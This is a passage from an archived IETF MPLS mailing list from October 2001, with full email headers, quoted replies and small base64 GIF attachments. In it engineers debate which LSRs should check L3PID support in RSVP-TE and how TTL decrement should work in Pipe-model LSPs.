 ; Wed, 10 Oct 2001 14:02:44 -0700
Received: by fmsmsx27.fm.intel.com with Internet Mail Service (5.5.2653.19)
	id <TZ572ZW2>; Wed, 10 Oct 2001 14:03:18 -0700
Message-ID: <F1CE15E08172D4119247009027AE9D500C7CA106@FMSMSX37>
From: "Feng, Mark" <m_feng@trillium.com>
To: "'Apratim Mukherjee'" <ApratimM@netbrahma.com>, mpls@UU.NET
Subject: RE: Use of L3PID
Date: Wed, 10 Oct 2001 14:04:09 -0700
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="ISO-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

IMO, only the egress node should check. The transit nodes are merely
forwarding the data packets. Whether they support the L3PID protocol does
not seem to be relevant.

- Mark

> -----Original Message-----
> From: Apratim Mukherjee [mailto:ApratimM@netbrahma.com]
> Sent: Tuesday, October 09, 2001 11:31 PM
> To: mpls@UU.NET
> Subject: Use of L3PID
> 
> 
> Hi,
> 
> The Label Request Object carries the L3PID expected to be 
> supported at the 
> 'reciever' .
> draft-ietf-mpls-rsvp-lsp-tunnel-08.txt:
> "If the receiver cannot support the protocol L3PID, it SHOULD 
> send a PathErr
> with the error code "Routing problem" and the error value"Unsupported
> L3PID."  This causes the RSVP session to fail."
> But it is not clear to me as to where the check for this 
> support is to be
> carried out . Existing documents ( especially the Juniper 
> implementation
> white paper ) seem to suggest that this check should be 
> carried out at every
> LSR . 
> But , lets look at a situation :
> Ingress-->LSR1-->LSR2--->Egress
> IPv6        IPv4       IPv4      IPv6 
> 
> So , in this case the LSP will be aborted at  LSR1 itself. 
> However , if the
> check were to be made only at the egress , the Lsp would have 
> been set up
> and data packets also would have gone through , since they do 
> not need any
> IPv6 support at either LSR 1 or LSR 2, they need it only at 
> the Ingress and
> Egress .
> 
> Please tell me if I am missing out on something here,
> Thanks,
> Apratim
> 
> 


From owner-mpls@UU.NET  Wed Oct 10 17:51:49 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA21910
	for <mpls-archive@lists.ietf.org>; Wed, 10 Oct 2001 17:51:49 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlkep08206;
	Wed, 10 Oct 2001 21:48:53 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlkep02587
	for mpls-outgoing; Wed, 10 Oct 2001 21:48:24 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQlkep02582
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 10 Oct 2001 21:48:15 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQlkep16616
	for <mpls@UU.NET>; Wed, 10 Oct 2001 21:47:52 GMT
From: francis.arts@alcatel.be
Received: from relay1.alcatel.be by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: alc119.alcatel.be [195.207.101.119])
	id QQlkep06929
	for <mpls@UU.NET>; Wed, 10 Oct 2001 21:48:06 GMT
Received: from Bemail06.net.alcatel.be (localhost [127.0.0.1])
	by relay1.alcatel.be (8.10.1/8.10.1) with ESMTP id f9ALlav26045;
	Wed, 10 Oct 2001 23:47:36 +0200 (MET DST)
To: "Feng, Mark" <m_feng@trillium.com>
Cc: "'Apratim Mukherjee'" <ApratimM@netbrahma.com>, mpls@UU.NET
Subject: RE: Use of L3PID
X-Mailer: Lotus Notes Release 5.0.5  September 22, 2000
Message-ID: <OF3D40353B.7EFCD411-ONC1256AE1.00779F8C@net.alcatel.be>
Date: Wed, 10 Oct 2001 23:47:33 +0200
X-MIMETrack: Serialize by Router on BEMAIL06/BE/ALCATEL(Release 5.0.8 |June 18, 2001) at
 10/10/2001 23:47:41,
	Serialize complete at 10/10/2001 23:47:41
MIME-Version: 1.0
Content-Type: multipart/related; boundary="=_related 0077B445C1256AE1_="
Sender: owner-mpls@UU.NET
Precedence: bulk

This is a multipart message in MIME format.
--=_related 0077B445C1256AE1_=
Content-Type: multipart/alternative; boundary="=_alternative 0077B445C1256AE1_="


--=_alternative 0077B445C1256AE1_=
Content-Type: text/plain; charset="us-ascii"

Mark,

I agree with you. 1 minor addition: If PHP is used, also the penultimate 
node should check.

Best regards,

        Francis.

-----------------------------






To:
"'Apratim Mukherjee'" <ApratimM@netbrahma.com>, mpls@UU.NET
cc:
(bcc: Francis ARTS/BE/ALCATEL)


Subject:
RE: Use of L3PID



IMO, only the egress node should check. The transit nodes are merely
forwarding the data packets. Whether they support the L3PID protocol does
not seem to be relevant.

- Mark

> -----Original Message-----
> From: Apratim Mukherjee [mailto:ApratimM@netbrahma.com]
> Sent: Tuesday, October 09, 2001 11:31 PM
> To: mpls@UU.NET
> Subject: Use of L3PID
>
>
> Hi,
>
> The Label Request Object carries the L3PID expected to be
> supported at the
> 'reciever' .
> draft-ietf-mpls-rsvp-lsp-tunnel-08.txt:
> "If the receiver cannot support the protocol L3PID, it SHOULD
> send a PathErr
> with the error code "Routing problem" and the error value"Unsupported
> L3PID."  This causes the RSVP session to fail."
> But it is not clear to me as to where the check for this
> support is to be
> carried out . Existing documents ( especially the Juniper
> implementation
> white paper ) seem to suggest that this check should be
> carried out at every
> LSR .
> But , lets look at a situation :
> Ingress-->LSR1-->LSR2--->Egress
> IPv6        IPv4       IPv4      IPv6
>
> So , in this case the LSP will be aborted at  LSR1 itself.
> However , if the
> check were to be made only at the egress , the Lsp would have
> been set up
> and data packets also would have gone through , since they do
> not need any
> IPv6 support at either LSR 1 or LSR 2, they need it only at
> the Ingress and
> Egress .
>
> Please tell me if I am missing out on something here,
> Thanks,
> Apratim
>
> 


--=_alternative 0077B445C1256AE1_=
Content-Type: text/html; charset="us-ascii"


<br><font size=2 face="sans-serif">Mark,</font>
<br>
<br><font size=2 face="sans-serif">I agree with you. 1 minor addition: If PHP is used, also the penultimate node should check.</font>
<br>
<br><font size=2 face="sans-serif">Best regards,</font>
<br>
<br><font size=2 face="sans-serif">&nbsp; &nbsp; &nbsp; &nbsp; Francis.</font>
<br>
<br><font size=2 face="sans-serif">-----------------------------</font>
<br>
<br>
<br>
<br>
<table>
<tr valign=top>
<td>
<td>
<tr valign=top>
<td><font size=1 color=#800080 face="sans-serif">To:</font>
<td><font size=1 face="sans-serif">&quot;'Apratim Mukherjee'&quot; &lt;ApratimM@netbrahma.com&gt;, mpls@UU.NET</font>
<tr valign=top>
<td><font size=1 color=#800080 face="sans-serif">cc:</font>
<td><font size=1 face="sans-serif">(bcc: Francis ARTS/BE/ALCATEL)</font>
<tr valign=top>
<td>
<td>
<tr valign=top>
<td><font size=1 color=#800080 face="sans-serif">Subject:</font>
<td><font size=1 face="sans-serif">RE: Use of L3PID</font></table>
<br>
<br>
<br><img src=cid:_1_3BB80000262C0077B444C1256AE1>
<br><font size=1><tt>IMO, only the egress node should check. The transit nodes are merely<br>
forwarding the data packets. Whether they support the L3PID protocol does<br>
not seem to be relevant.<br>
</tt></font>
<br><font size=1><tt>- Mark<br>
</tt></font>
<br><font size=1><tt>&gt; -----Original Message-----<br>
&gt; From: Apratim Mukherjee [mailto:ApratimM@netbrahma.com]<br>
&gt; Sent: Tuesday, October 09, 2001 11:31 PM<br>
&gt; To: mpls@UU.NET<br>
&gt; Subject: Use of L3PID<br>
&gt;<br>
&gt;<br>
&gt; Hi,<br>
&gt;<br>
&gt; The Label Request Object carries the L3PID expected to be<br>
&gt; supported at the<br>
&gt; 'reciever' .<br>
&gt; draft-ietf-mpls-rsvp-lsp-tunnel-08.txt:<br>
&gt; &quot;If the receiver cannot support the protocol L3PID, it SHOULD<br>
&gt; send a PathErr<br>
&gt; with the error code &quot;Routing problem&quot; and the error value&quot;Unsupported<br>
&gt; L3PID.&quot; &nbsp;This causes the RSVP session to fail.&quot;<br>
&gt; But it is not clear to me as to where the check for this<br>
&gt; support is to be<br>
&gt; carried out . Existing documents ( especially the Juniper<br>
&gt; implementation<br>
&gt; white paper ) seem to suggest that this check should be<br>
&gt; carried out at every<br>
&gt; LSR .<br>
&gt; But , lets look at a situation :<br>
&gt; Ingress--&gt;LSR1--&gt;LSR2---&gt;Egress<br>
&gt; IPv6 &nbsp; &nbsp; &nbsp; &nbsp;IPv4 &nbsp; &nbsp; &nbsp; IPv4 &nbsp; &nbsp; &nbsp;IPv6<br>
&gt;<br>
&gt; So , in this case the LSP will be aborted at &nbsp;LSR1 itself.<br>
&gt; However , if the<br>
&gt; check were to be made only at the egress , the Lsp would have<br>
&gt; been set up<br>
&gt; and data packets also would have gone through , since they do<br>
&gt; not need any<br>
&gt; IPv6 support at either LSR 1 or LSR 2, they need it only at<br>
&gt; the Ingress and<br>
&gt; Egress .<br>
&gt;<br>
&gt; Please tell me if I am missing out on something here,<br>
&gt; Thanks,<br>
&gt; Apratim<br>
&gt;<br>
&gt; </tt></font>
<br>
<br>
--=_alternative 0077B445C1256AE1_=--
--=_related 0077B445C1256AE1_=
Content-Type: image/gif
Content-ID: <_1_3BB80000262C0077B444C1256AE1>
Content-Transfer-Encoding: base64
Content-Transfer-Encoding: base64

R0lGODlhOQIEAIAAAAAAAAAAACwAAAAAOQIEAEAC/06Oqct9QYH/+vfu7OWXAAKELhnKeS/2X8jS
peyGdGqXIAzft0DT9RCT1WzBYuyLaiiUyknlktl0AKQQAGRFPzwY671ETulguphCcVqtmG96fT4d
y9NwOohYrrHf8HbZbVfkZpcm9+bmB6gjo1Ojg4I3xlYik3Y4J0YmcwbQPXHxhKHRzYDhgWPloNow
4aQRSmJ19jAx5NQjVNQUlMQEY/PyVIVbFNwTxDQURFXEJPEfEhoKYoVG+98WlsYWw5W9ncNlVkI3
5+I2ZxYyEf2qAWNldm3HHAhgkFYSvLuI7Jy36tw2aNdsAMCiRp+VhQwZgnEFSkOsELNq3cq1q9ev
YCzDchlDpoyZM3YApGmgFsLahG/cvGljE26cnHLn0q2DVtLdBXgh5E2gZ8/AAAA7
--=_related 0077B445C1256AE1_=--


From owner-mpls@UU.NET  Wed Oct 10 19:48:05 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA23148
	for <mpls-archive@lists.ietf.org>; Wed, 10 Oct 2001 19:48:05 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlkew13062;
	Wed, 10 Oct 2001 23:41:52 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlkew19823
	for mpls-outgoing; Wed, 10 Oct 2001 23:41:44 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQlkew19818
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 10 Oct 2001 23:41:34 GMT
Received: from cmr2.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQlkew17625
	for <mpls@UU.NET>; Wed, 10 Oct 2001 23:41:15 GMT
Received: from yarilo.pluris.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: yarilo.pluris.com [208.227.9.200])
	id QQlkew26795
	for <mpls@UU.NET>; Wed, 10 Oct 2001 23:41:24 GMT
Received: from avalon.pluris.com (avalon.pluris.com [172.16.50.49])
	by yarilo.pluris.com (8.9.2/8.9.1) with ESMTP id QAA20860;
	Wed, 10 Oct 2001 16:41:01 -0700 (PDT)
Received: by avalon.pluris.com with Internet Mail Service (5.5.2653.19)
	id <SYPBWQ1S>; Wed, 10 Oct 2001 16:41:01 -0700
Message-ID: <17C81AD1F1FED411991E006008F6D1CAFA933E@avalon.pluris.com>
From: Puneet Agarwal <puneet@pluris.com>
To: "'Shahram Davari'" <Shahram_Davari@pmc-sierra.com>,
        "'Eric Gray'"
	 <eric.gray@sandburst.com>
Cc: Puneet Agarwal <puneet@pluris.com>, mpls@UU.NET
Subject: RE: New revision of the MPLS ttl draft
Date: Wed, 10 Oct 2001 16:41:00 -0700
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

Hi Shahram,

Your solution (B) assumes that D (the service provider egress LSR)
decrements the TTL by 3. The draft is extremely flexible and actually allows
identical result by considering an alternate solution (C).

(C) Let D subtract by 1 and G subtract by 3. This will give you identical
behaviour and in this case the subtract by 3 knowledge resides completely in
the customers network and the service provider has no knowledge of the
customers TTL decrement policy. 

From the service provider's perspective, a packet that enters their network
with TTL n, then is encapsulated in a Pipe Model tunnel (with TTL n-1),
exits their network with TTL n-2 [spec section 4.3](if the service providers
wants to decrement ttl by 1 for each hop internally) for all customers. The
customers can still choose to implement any ttl decrement policy that is
unknown to the service provider. 

Hope this helps and addresses your concern. Hence I do not see a need to
change the draft.

Thanks.

-Puneet


>-----Original Message-----
>From: Shahram Davari [mailto:Shahram_Davari@pmc-sierra.com]
>Sent: Wednesday, October 10, 2001 1:30 PM
>To: 'Eric Gray'
>Cc: 'Puneet Agarwal'; mpls@UU.NET
>Subject: RE: New revision of the MPLS ttl draft
>
>
>Hi Eric,
>
>Because the TTL of the inner LSP belongs to the customer. And 
>the customer has a policy of let's say subtracting a value of 
>"n" from TTL. Now if the customer does not have control over 
>the TTL subtraction, even in a single node, the TTL may get 
>expired earlier or later than he expects. Let me give you an example:
>
>                       
> A-------B-----C-----D-----E------F-----G-----H
> --------> LSP1----->
> -------------------->LSP2------------------->
>     TTL = N
>
>Assume 
>1) LSP2 is the inner LSP
>2) A, B, C, H and the ingress port of D are POS.
>3) The egress port of D is LC-ATM
>4) E, F are ATM LSRs
>5) The ingress port of G is LC-ATM
>6) The egress port of G is POS.
>7) A,B,C,D belong to provider X
>8) E,F,G,H belong to provider Y
>9) TTL=N for LSP2 between A and D
>
>In theory the TTL received by H must be N-4. However, since E, 
>F and ingress of G are ATM, they can't subtract the TTL. 
>
>There are two solutions:
>
>A) Let's D do nothing and the customer Y subtract a value of 4 
>at the egress port of G, when the packet is sent to H.
>B)Let D subtract a value of 3 before sending it to E, and G 
>subtract TTL by 1.
>
>It seems that for Pipe model, the current draft prefers the 
>second solution,while I prefer the first one. The reason is 
>that by choosing option B, you need to store the value to be 
>subtracted from TTL for each individual customer, while in 
>method A, it is up to customer to subtract whatever value he wants.
>
>My argument is that the Short pipe model should fulfill method 
>B, and Pipe model should fulfill method A.
>
>
>Yours,
>-Shahram
>
>> -----Original Message-----
>> From: Eric Gray [mailto:eric.gray@sandburst.com]
>> Sent: Wednesday, October 10, 2001 3:10 PM
>> To: Shahram Davari
>> Cc: 'Puneet Agarwal'; mpls@UU.NET
>> Subject: Re: New revision of the MPLS ttl draft
>> 
>> 
>> Shahram,
>> 
>>     Can you help me to understand this question?  Why would 
>> the customer
>> router dwnstream of the egress LSR want (or need) to know 
>how much TTL
>> has been decremented by the egress LSR?
>> 
>> You wrote:
>> 
>> > Hi Puneet,
>> >
>> > But your draft says that any value other than 1 can be 
>> subtracted from TTL. So how does a customer router that sits 
>> downstream of the egress LSR know how much has been 
>> subtracted from the TTL?
>> >
>> > Yours,
>> > -Shahram
>> >
>> > > -----Original Message-----
>> > > From: Puneet Agarwal [mailto:puneet@pluris.com]
>> > > Sent: Tuesday, October 09, 2001 11:09 PM
>> > > To: Shahram Davari; mpls@UU.NET
>> > > Subject: RE: New revision of the MPLS ttl draft
>> > >
>> > >
>> > > Hi Shahram,
>> > >
>> > > Thanks for your comments.
>> > >
>> > > Regarding not storing the TTL decrementing policy of the
>> > > customer in the
>> > > provider's egress LSR(s), I do not think that the proposed
>> > > ttl processing
>> > > needs/requires the customers ttl decrement policy to be known
>> > > to the Egress
>> > > LSRs. From a customers perspective, they send a packet with
>> > > ttl n and they
>> > > get back a packet with ttl n-2. If the customer wants, they
>> > > can decrement
>> > > the ttl by any amount they want without the providers egress
>> > > LSR knowing
>> > > anything about it. TTL processing is different (and easier to
>> > > determine)
>> > > than PHB determination as the TTL field has the same
>> > > semantics in either the
>> > > providers network or the customers network - which is not
>> > > true for the bits
>> > > used for PHB determination.
>> > >
>> > > Hence I do not see a reason to change the TTL decrementing
>> > > policy for Pipe
>> > > model LSPs. (There are other valid reasons for our proposal
>> > > but they are not
>> > > relevant to the points you've raised).
>> > >
>> > > Hope this helps.
>> > >
>> > > Thanks.
>> > >
>> > > -Puneet
>> > >
>> > > >-----Original Message-----
>> > > >From: Shahram Davari [mailto:Shahram_Davari@pmc-sierra.com]
>> > > >Sent: Tuesday, October 09, 2001 1:34 PM
>> > > >To: 'Puneet Agarwal'; mpls@UU.NET
>> > > >Subject: RE: New revision of the MPLS ttl draft
>> > > >
>> > > >
>> > > >Hi Puneet,
>> > > >
>> > > >The reason that Pipe model was introduced was that we didn't
>> > > >want to store the customer policies in the egress LSR. This
>> > > >meant from the Diffserv perspective, that we didn't want to
>> > > >store EXP<=>PHB mapping for each individual customer. The Pipe
>> > > >model essentially terminates the tunnel on the ingress line
>> > > >card of the Router downstream of the Egress LSR, rather than
>> > > >on the egress line-card of the egress LSR.
>> > > >
>> > > >As mentioned in your draft, each domain may have its own
>> > > >policy (value to be decremented) for decrementing the TTL.
>> > > >Therefore it seems to me that for the same reason, it is
>> > > >better not to store TTL decrementing policy and apply it to
>> > > >the packet in the egress LSR for the Pipe model.
>> > > >
>> > > >Therefore I suggest that the Pipe model TTL processing be the
>> > > >same as Short-pipe model with PHP.
>> > > >
>> > > >Yours,
>> > > >-Shahram
>> > > >
>> > > >> -----Original Message-----
>> > > >> From: Puneet Agarwal [mailto:puneet@pluris.com]
>> > > >> Sent: Monday, October 08, 2001 5:18 PM
>> > > >> To: mpls@UU.NET
>> > > >> Subject: New revision of the MPLS ttl draft
>> > > >>
>> > > >>
>> > > >> A new revision of the "TTL Processing in MPLS Networks" has
>> > > >> been submitted.
>> > > >> This updates the -00 version of the draft.
>> > > >>
>> > > >> Any comments/suggestions would be much appreciated.
>> > > >>
>> > > >> -Puneet and Bora
>> > > >>
>> > > >>
>> > > >>
>> > > >
>> > >
>> 
>> --
>> Eric Gray (mailto:eric.gray@sandburst.com)
>> http://www.mindspring.com/~ewgray
>> 
>> 
>> 
>


From owner-mpls@UU.NET  Wed Oct 10 20:04:26 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA23464
	for <mpls-archive@lists.ietf.org>; Wed, 10 Oct 2001 20:04:26 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlkey11319;
	Thu, 11 Oct 2001 00:00:02 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlkex20983
	for mpls-outgoing; Wed, 10 Oct 2001 23:59:52 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQlkex20978
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 10 Oct 2001 23:59:50 GMT
Received: from cmr1.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQlkex18305
	for <mpls@UU.NET>; Wed, 10 Oct 2001 23:59:40 GMT
Received: from calliope1.fm.intel.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: fmfdns01.fm.intel.com [132.233.247.10])
	id QQlkex10287
	for <mpls@UU.NET>; Wed, 10 Oct 2001 23:59:32 GMT
Received: from fmsmsxvs042.fm.intel.com (fmsmsxv042-1.fm.intel.com [132.233.48.110])
	by calliope1.fm.intel.com (8.9.1a+p1/8.9.1/d: relay.m4,v 1.44 2001/10/01 19:10:43 root Exp $) with SMTP id XAA06562
	for <mpls@UU.NET>; Wed, 10 Oct 2001 23:59:39 GMT
Received: from fmsmsx27.fm.intel.com ([132.233.42.27])
 by fmsmsxvs042.fm.intel.com (NAVGW 2.5.1.6) with SMTP id M2001101016593117657
 ; Wed, 10 Oct 2001 16:59:31 -0700
Received: by fmsmsx27.fm.intel.com with Internet Mail Service (5.5.2653.19)
	id <TZ57JCJ9>; Wed, 10 Oct 2001 17:00:04 -0700
Message-ID: <F1CE15E08172D4119247009027AE9D500C7CA108@FMSMSX37>
From: "Feng, Mark" <m_feng@trillium.com>
To: "'francis.arts@alcatel.be'" <francis.arts@alcatel.be>,
        "Feng, Mark" <m_feng@trillium.com>
Cc: "'Apratim Mukherjee'" <ApratimM@netbrahma.com>, mpls@UU.NET
Subject: RE: Use of L3PID
Date: Wed, 10 Oct 2001 17:00:57 -0700
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: multipart/mixed;
	boundary="----_=_NextPart_000_01C151E7.CDDB6F90"
Sender: owner-mpls@UU.NET
Precedence: bulk

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_000_01C151E7.CDDB6F90
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C151E7.CDDB6F90"


------_=_NextPart_001_01C151E7.CDDB6F90
Content-Type: text/plain;
	charset="ISO-8859-1"

I don't think the PHP needs to do that. The PHP has, in the "lookup table",
the incoming label, and the next hop. What is missing is the outgoing label.
It doesn't need the L3PID to forward the data packets.
 
- Mark

-----Original Message-----
From: francis.arts@alcatel.be [mailto:francis.arts@alcatel.be]
Sent: Wednesday, October 10, 2001 2:48 PM
To: Feng, Mark
Cc: 'Apratim Mukherjee'; mpls@UU.NET
Subject: RE: Use of L3PID



Mark, 

I agree with you. 1 minor addition: If PHP is used, also the penultimate
node should check. 

Best regards, 

        Francis. 

----------------------------- 




	

To: 	"'Apratim Mukherjee'" <ApratimM@netbrahma.com>, mpls@UU.NET 

cc: 	(bcc: Francis ARTS/BE/ALCATEL) 

	

Subject: 	RE: Use of L3PID



 
IMO, only the egress node should check. The transit nodes are merely
forwarding the data packets. Whether they support the L3PID protocol does
not seem to be relevant.

- Mark

> -----Original Message-----
> From: Apratim Mukherjee [mailto:ApratimM@netbrahma.com]
> Sent: Tuesday, October 09, 2001 11:31 PM
> To: mpls@UU.NET
> Subject: Use of L3PID
>
>
> Hi,
>
> The Label Request Object carries the L3PID expected to be
> supported at the
> 'reciever' .
> draft-ietf-mpls-rsvp-lsp-tunnel-08.txt:
> "If the receiver cannot support the protocol L3PID, it SHOULD
> send a PathErr
> with the error code "Routing problem" and the error value"Unsupported
> L3PID."  This causes the RSVP session to fail."
> But it is not clear to me as to where the check for this
> support is to be
> carried out . Existing documents ( especially the Juniper
> implementation
> white paper ) seem to suggest that this check should be
> carried out at every
> LSR .
> But , lets look at a situation :
> Ingress-->LSR1-->LSR2--->Egress
> IPv6        IPv4       IPv4      IPv6
>
> So , in this case the LSP will be aborted at  LSR1 itself.
> However , if the
> check were to be made only at the egress , the Lsp would have
> been set up
> and data packets also would have gone through , since they do
> not need any
> IPv6 support at either LSR 1 or LSR 2, they need it only at
> the Ingress and
> Egress .
>
> Please tell me if I am missing out on something here,
> Thanks,
> Apratim
>
> 




------_=_NextPart_001_01C151E7.CDDB6F90
Content-Type: text/html;
	charset="ISO-8859-1"

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=ISO-8859-1">


<META content="MSHTML 5.00.3315.2870" name=GENERATOR></HEAD>
<BODY>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=172214823-10102001>I 
don't think the PHP needs to do that. The PHP has, in the "lookup table",&nbsp; 
the incoming label, and the next hop. What is missing is the outgoing label. It 
doesn't need the L3PID to forward the data packets.</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=172214823-10102001></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=172214823-10102001>- 
Mark</SPAN></FONT></DIV>
<BLOCKQUOTE 
style="BORDER-LEFT: #0000ff 2px solid; MARGIN-LEFT: 5px; PADDING-LEFT: 5px">
  <DIV align=left class=OutlookMessageHeader dir=ltr><FONT face=Tahoma 
  size=2>-----Original Message-----<BR><B>From:</B> francis.arts@alcatel.be 
  [mailto:francis.arts@alcatel.be]<BR><B>Sent:</B> Wednesday, October 10, 2001 
  2:48 PM<BR><B>To:</B> Feng, Mark<BR><B>Cc:</B> 'Apratim Mukherjee'; 
  mpls@UU.NET<BR><B>Subject:</B> RE: Use of L3PID<BR><BR></DIV></FONT><BR><FONT 
  face=sans-serif size=2>Mark,</FONT> <BR><BR><FONT face=sans-serif size=2>I 
  agree with you. 1 minor addition: If PHP is used, also the penultimate node 
  should check.</FONT> <BR><BR><FONT face=sans-serif size=2>Best regards,</FONT> 
  <BR><BR><FONT face=sans-serif size=2>&nbsp; &nbsp; &nbsp; &nbsp; 
  Francis.</FONT> <BR><BR><FONT face=sans-serif 
  size=2>-----------------------------</FONT> <BR><BR><BR><BR>
  <TABLE>
    <TBODY>
    <TR vAlign=top>
      <TD>
      <TD>
    <TR vAlign=top>
      <TD><FONT color=#800080 face=sans-serif size=1>To:</FONT> 
      <TD><FONT face=sans-serif size=1>"'Apratim Mukherjee'" 
        &lt;ApratimM@netbrahma.com&gt;, mpls@UU.NET</FONT> 
    <TR vAlign=top>
      <TD><FONT color=#800080 face=sans-serif size=1>cc:</FONT> 
      <TD><FONT face=sans-serif size=1>(bcc: Francis ARTS/BE/ALCATEL)</FONT> 
    <TR vAlign=top>
      <TD>
      <TD>
    <TR vAlign=top>
      <TD><FONT color=#800080 face=sans-serif size=1>Subject:</FONT> 
      <TD><FONT face=sans-serif size=1>RE: Use of 
  L3PID</FONT></TR></TBODY></TABLE><BR><BR><BR><IMG 
  src="cid:172214823@10102001-1208"> <BR><FONT size=1><TT>IMO, only the egress 
  node should check. The transit nodes are merely<BR>forwarding the data 
  packets. Whether they support the L3PID protocol does<BR>not seem to be 
  relevant.<BR></TT></FONT><BR><FONT size=1><TT>- Mark<BR></TT></FONT><BR><FONT 
  size=1><TT>&gt; -----Original Message-----<BR>&gt; From: Apratim Mukherjee 
  [mailto:ApratimM@netbrahma.com]<BR>&gt; Sent: Tuesday, October 09, 2001 11:31 
  PM<BR>&gt; To: mpls@UU.NET<BR>&gt; Subject: Use of 
  L3PID<BR>&gt;<BR>&gt;<BR>&gt; Hi,<BR>&gt;<BR>&gt; The Label Request Object 
  carries the L3PID expected to be<BR>&gt; supported at the<BR>&gt; 'reciever' 
  .<BR>&gt; draft-ietf-mpls-rsvp-lsp-tunnel-08.txt:<BR>&gt; "If the receiver 
  cannot support the protocol L3PID, it SHOULD<BR>&gt; send a PathErr<BR>&gt; 
  with the error code "Routing problem" and the error value"Unsupported<BR>&gt; 
  L3PID." &nbsp;This causes the RSVP session to fail."<BR>&gt; But it is not 
  clear to me as to where the check for this<BR>&gt; support is to be<BR>&gt; 
  carried out . Existing documents ( especially the Juniper<BR>&gt; 
  implementation<BR>&gt; white paper ) seem to suggest that this check should 
  be<BR>&gt; carried out at every<BR>&gt; LSR .<BR>&gt; But , lets look at a 
  situation :<BR>&gt; Ingress--&gt;LSR1--&gt;LSR2---&gt;Egress<BR>&gt; IPv6 
  &nbsp; &nbsp; &nbsp; &nbsp;IPv4 &nbsp; &nbsp; &nbsp; IPv4 &nbsp; &nbsp; 
  &nbsp;IPv6<BR>&gt;<BR>&gt; So , in this case the LSP will be aborted at 
  &nbsp;LSR1 itself.<BR>&gt; However , if the<BR>&gt; check were to be made only 
  at the egress , the Lsp would have<BR>&gt; been set up<BR>&gt; and data 
  packets also would have gone through , since they do<BR>&gt; not need 
  any<BR>&gt; IPv6 support at either LSR 1 or LSR 2, they need it only 
  at<BR>&gt; the Ingress and<BR>&gt; Egress .<BR>&gt;<BR>&gt; Please tell me if 
  I am missing out on something here,<BR>&gt; Thanks,<BR>&gt; 
  Apratim<BR>&gt;<BR>&gt; </TT></FONT><BR><BR></BLOCKQUOTE></BODY></HTML>

------_=_NextPart_001_01C151E7.CDDB6F90--

------_=_NextPart_000_01C151E7.CDDB6F90
Content-Type: image/gif;
	name="ATT598361.gif"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
	filename="ATT598361.gif"
Content-ID: <172214823@10102001-1208>
Content-Transfer-Encoding: base64

R0lGODlhOQIEAIAAAAAAAAAAACwAAAAAOQIEAEAC/06Oqct9QYH/+vfu7OWXAAKELhnKeS/2X8jS
peyGdGqXIAzft0DT9RCT1WzBYuyLaiiUyknlktl0AKQQAGRFPzwY671ETulguphCcVqtmG96fT4d
y9NwOohYrrHf8HbZbVfkZpcm9+bmB6gjo1Ojg4I3xlYik3Y4J0YmcwbQPXHxhKHRzYDhgWPloNow
4aQRSmJ19jAx5NQjVNQUlMQEY/PyVIVbFNwTxDQURFXEJPEfEhoKYoVG+98WlsYWw5W9ncNlVkI3
